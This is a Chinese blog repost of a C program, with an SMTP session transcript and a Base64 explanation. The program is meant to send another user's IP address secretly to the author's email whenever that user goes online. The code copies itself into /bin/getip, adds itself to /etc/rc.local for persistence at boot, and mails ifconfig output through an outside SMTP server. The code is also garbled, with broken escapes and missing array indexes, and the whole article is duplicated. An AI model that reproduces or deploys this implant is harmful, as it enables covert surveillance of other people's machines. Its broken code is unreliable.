linux下发送email的c语言代码
来源:互联网 发布:淘宝商城登录 编辑:程序博客网 时间:2024/06/10 06:53
现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的
程序,在他每次上网后,把他的ip自动发给我指定的email。
实现很简单(当然,前提是你有相应的权限,:D),通过调用system(),把
程序路径放到/etc/rc.local里,以便每次启动调用。利用ifconfig获取ip,
并写到一个临时文件,然后读文件内容到缓冲区,作为email正文发送到指定的email。
以163.com的smtp服务器为例,现在的smtp服务器都加入了验证功能(不同服务器
验证的方式是不同的,sina的验证就不同,具体的验证方式没有研究),通讯的过程是
这样的:
[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64编码过的用户名)
334 UGFzc3dvcmQ6
xxxxx(base64编码过的密码)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.
smtp server返回值表
-----------------------------------------------
500 邮箱地址错误
501 参数格式错误
502 命令不可实现
503 服务器需要SMTP验证
504 命令参数不可实现
421 服务未就绪,关闭传输信道
450 要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451 放弃要求的操作;处理过程中出错
551 用户非本地,请尝试<forward-path>
452 系统存储不足,要求的操作未执行
552 过量的存储分配,要求的操作未执行
553 邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
432 需要一个密码转换
534 认证机制过于简单
538 当前请求的认证机制需要加密
454 临时认证失败
530 需要认证
220 服务就绪
250 要求的邮件操作完成
251 用户非本地,将转发向<forward-path>
354 开始邮件输入,以<enter>.<enter>结束
221 服务关闭传输信道
334 服务器响应验证Base64字符串
235 验证成功
---------------------------------------------------
过程很明显了,再简单说说base64编码方式:
可以将字符串3个3个的分开(不足的编码后以'='补),我们知道每个字符8位,
这样,3个字符就是24位,base64编码将这3个字符(24位),6位6位的分开,分成4个字符,
再将这4个字符的ascii码值与下面的表比较,取出相应的字符,就是编码后的最终字符。
例如:abc这3个字符,编码前是这样的:
0110 0001 0110 0010 01100011
现在6位6位的重组:
011000 010110 001001 100011
得到的字符为:
00011000 00010110 00001001 00100011
ascii码值分别为:24 22 9 35
对照下面表,得出编码后的字符:YWJj
从程序的思路来看就是:
1。a>>2
2.(a&0x03)<<4 | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f
然后将得到的值对照下表就可得出编码后的字符,具体实现见代码。
Base64编码转换表(摘自RFC2045)
--------------------------------------------------
Table 1: The Base64 Alphabet
value Encoding value Encoding value Encoding value Encoding
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w (pad) =
15 P 32 g 49 x
16 Q 33 h 50 y
---------------------------------------------------
本代码在thizlinux7.0下测试通过
/*--------------------------------------
code by sink (gymiles@sohu.com)
------------------------------------*/
#include <netinet/in.h>//include socket
#include <sys/socket.h>
#include <stdio.h>//include fopen(),fread().fwrite(),fclose()
#include <stdlib.h>//include system()
#include <netdb.h>//include gethostbyname()
#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8
void base64enc(const char *,char *);
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in server_addr;
struct hostent *server_ip;
int numbytes=0,i=0;
char username[512]="";//mail username
char passwd[512]="";//mail passwd
//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="";
int ret=0;//function return
FILE *f_open,*f_write;
char *msg[9]={""};
char *n_return[9]={""}; //return number
msg[EHLO]="ehlo smtp.163.com/n";
msg[AUTH]="auth login/n";
base64enc("your name",username);
strcat(username,"/n");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"/n");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com/n";
msg[RCPT]="rcpt to:xxxxx@sohu.com/n";
msg[DATA]="data/n";
msg[QUIT]="quit/n";
n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";
/*---------------------------
copy self to /bin/getip
---------------------------*/
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error");
return(-1);
}
if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the file which we will write to
{
perror("fopen /bin/getip error");
return(-1);
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error");
return(-1);
}
}
fclose(f_open);//close all files we have opened
fclose(f_write);
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error");
return(-1);
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
{
perror("system error");
return(-1);
}
}
/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*-----------------------------
read from tmp.ip,add it to msg[CONT]
-----------------------------*/
if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
{
perror("fopen error");
return(-1);
}
i=0;
while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
{
i++;
if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
break;
}
strncat(ip,"/n./n",3);//cat "/n./n" to data
msg[CONT]=ip;
fclose(f_open);
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
{
herror("gethostbyname error");
sleep(300);
}
//create a socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket error");
return(-1);
}
//address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
//connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
{
perror("connect error");
return(-1);
}
//if connect success,server return "220"
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
return(-1);
}
//clean tmp
for(i=0;i<4;i++)
tmp='/0';
strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
return (-1);
//send msgs. if any step has a mistake,the "while" will be breaked,then send "quit" to end connection
i=EHLO;
while(i<QUIT)
{
if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
{
perror("send error");
break;
}
//sleep(1);we dont have to use it,because recv() can choke itself until it received data
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
break;
}
strncpy(tmp,buff,3);
//printf("command:%s/n",msg);
//printf("return buff:%s/n",buff);
//printf("should return:%s/n",n_return);
if(strcmp(tmp,n_return)==0)
i++;
else
break;
}
//send quit to end mail connection
if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
{
perror("send error");
return(-1);
}
close(sockfd);
return (0);
}
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int instr_len=0,i=0,j=0,pad=0;
unsigned char buf1[4]="",buf2[4]="";
instr_len=strlen(instr);
pad=instr_len%3;
for(i=0;i<instr_len;i+=3)
{
if(i==instr_len-pad)
strncpy(buf1,&instr,pad);
else
strncpy(buf1,&instr,3);
buf2[0] = buf1[0] >> 2;
buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
buf2[3] = buf1[2] & 0x3f;
for(j=0;j<4;j++)
buf2[j]=table[buf2[j]];
if(i==instr_len-pad)
for(j=3;j>pad;j--)
buf2[j]='=';
strncat(outstr,buf2,4);
}
}
程序,在他每次上网后,把他的ip自动发给我指定的email。
实现很简单(当然,前提是你有相应的权限,:D),通过调用system(),把
程序路径放到/etc/rc.local里,以便每次启动调用。利用ifconfig获取ip,
并写到一个临时文件,然后读文件内容到缓冲区,作为email正文发送到指定的email。
以163.com的smtp服务器为例,现在的smtp服务器都加入了验证功能(不同服务器
验证的方式是不同的,sina的验证就不同,具体的验证方式没有研究),通讯的过程是
这样的:
[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64编码过的用户名)
334 UGFzc3dvcmQ6
xxxxx(base64编码过的密码)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.
smtp server返回值表
-----------------------------------------------
500 邮箱地址错误
501 参数格式错误
502 命令不可实现
503 服务器需要SMTP验证
504 命令参数不可实现
421 服务未就绪,关闭传输信道
450 要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451 放弃要求的操作;处理过程中出错
551 用户非本地,请尝试<forward-path>
452 系统存储不足,要求的操作未执行
552 过量的存储分配,要求的操作未执行
553 邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
432 需要一个密码转换
534 认证机制过于简单
538 当前请求的认证机制需要加密
454 临时认证失败
530 需要认证
220 服务就绪
250 要求的邮件操作完成
251 用户非本地,将转发向<forward-path>
354 开始邮件输入,以<enter>.<enter>结束
221 服务关闭传输信道
334 服务器响应验证Base64字符串
235 验证成功
---------------------------------------------------
过程很明显了,再简单说说base64编码方式:
可以将字符串3个3个的分开(不足的编码后以'='补),我们知道每个字符8位,
这样,3个字符就是24位,base64编码将这3个字符(24位),6位6位的分开,分成4个字符,
再将这4个字符的ascii码值与下面的表比较,取出相应的字符,就是编码后的最终字符。
例如:abc这3个字符,编码前是这样的:
0110 0001 0110 0010 01100011
现在6位6位的重组:
011000 010110 001001 100011
得到的字符为:
00011000 00010110 00001001 00100011
ascii码值分别为:24 22 9 35
对照下面表,得出编码后的字符:YWJj
从程序的思路来看就是:
1。a>>2
2.(a&0x03)<<4 | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f
然后将得到的值对照下表就可得出编码后的字符,具体实现见代码。
Base64编码转换表(摘自RFC2045)
--------------------------------------------------
Table 1: The Base64 Alphabet
value Encoding value Encoding value Encoding value Encoding
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w (pad) =
15 P 32 g 49 x
16 Q 33 h 50 y
---------------------------------------------------
本代码在thizlinux7.0下测试通过
/*--------------------------------------
code by sink (gymiles@sohu.com)
------------------------------------*/
#include <netinet/in.h>//include socket
#include <sys/socket.h>
#include <stdio.h>//include fopen(),fread().fwrite(),fclose()
#include <stdlib.h>//include system()
#include <netdb.h>//include gethostbyname()
#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8
void base64enc(const char *,char *);
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in server_addr;
struct hostent *server_ip;
int numbytes=0,i=0;
char username[512]="";//mail username
char passwd[512]="";//mail passwd
//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="";
int ret=0;//function return
FILE *f_open,*f_write;
char *msg[9]={""};
char *n_return[9]={""}; //return number
msg[EHLO]="ehlo smtp.163.com/n";
msg[AUTH]="auth login/n";
base64enc("your name",username);
strcat(username,"/n");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"/n");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com/n";
msg[RCPT]="rcpt to:xxxxx@sohu.com/n";
msg[DATA]="data/n";
msg[QUIT]="quit/n";
n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";
/*---------------------------
copy self to /bin/getip
---------------------------*/
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error");
return(-1);
}
if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the file which we will write to
{
perror("fopen /bin/getip error");
return(-1);
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error");
return(-1);
}
}
fclose(f_open);//close all files we have opened
fclose(f_write);
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error");
return(-1);
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
{
perror("system error");
return(-1);
}
}
/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*-----------------------------
read from tmp.ip,add it to msg[CONT]
-----------------------------*/
if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
{
perror("fopen error");
return(-1);
}
i=0;
while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
{
i++;
if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
break;
}
strncat(ip,"/n./n",3);//cat "/n./n" to data
msg[CONT]=ip;
fclose(f_open);
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
{
herror("gethostbyname error");
sleep(300);
}
//create a socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket error");
return(-1);
}
//address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
//connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
{
perror("connect error");
return(-1);
}
//if connect success,server return "220"
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
return(-1);
}
//clean tmp
for(i=0;i<4;i++)
tmp='/0';
strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
return (-1);
//send msgs. if any step has a mistake,the "while" will be breaked,then send "quit" to end connection
i=EHLO;
while(i<QUIT)
{
if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
{
perror("send error");
break;
}
//sleep(1);we dont have to use it,because recv() can choke itself until it received data
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
break;
}
strncpy(tmp,buff,3);
//printf("command:%s/n",msg);
//printf("return buff:%s/n",buff);
//printf("should return:%s/n",n_return);
if(strcmp(tmp,n_return)==0)
i++;
else
break;
}
//send quit to end mail connection
if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
{
perror("send error");
return(-1);
}
close(sockfd);
return (0);
}
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int instr_len=0,i=0,j=0,pad=0;
unsigned char buf1[4]="",buf2[4]="";
instr_len=strlen(instr);
pad=instr_len%3;
for(i=0;i<instr_len;i+=3)
{
if(i==instr_len-pad)
strncpy(buf1,&instr,pad);
else
strncpy(buf1,&instr,3);
buf2[0] = buf1[0] >> 2;
buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
buf2[3] = buf1[2] & 0x3f;
for(j=0;j<4;j++)
buf2[j]=table[buf2[j]];
if(i==instr_len-pad)
for(j=3;j>pad;j--)
buf2[j]='=';
strncat(outstr,buf2,4);
}
}
- linux下发送email的c语言代码
- linux下发送email的c语言代码
- C语言发送email
- C#下Email的发送
- 利用TinyMail发送Email的关键代码
- Asp.net(C#) 发送Email的用法
- Delphi下发送Email的方法
- Delphi下发送Email的方法
- Delphi下发送Email的方法
- linux下的c语言的随机数算法代码
- linux下的c语言的随机数算法代码
- 发送Email代码
- [编程代码]一个linux下的gcc/c语言makefile
- 发送email类(C#)
- C#---Email发送
- .net(C#)发送EMail
- email linux 发送邮件
- postfix端口修改linux下发送email的smtp端口unbuntu
- 好久么写东西了,这几天投简历找实习听宣讲疯特了呀,搞得自己好像已经读大四了。。
- 关于在UTF-8编码下使用ASPUPLOAD组件时遇到的问题
- 原来自己还什么都不懂
- 在CSDN的第一篇文章
- 如何下载在线电影
- linux下发送email的c语言代码
- Base64编码算法
- 动手做上网抓数据的机器人 (vb。net版本)
- secdrv.sys任意kernel地址覆盖漏洞浅析(0day)
- WAP开发FAQ
- 南开的学生 值多少?
- 谈2.0网站初期规划应该考虑的问题
- Please give me your best wishes!~~(25/10/2007)
- XML学习笔记-第一章 XML知识初始化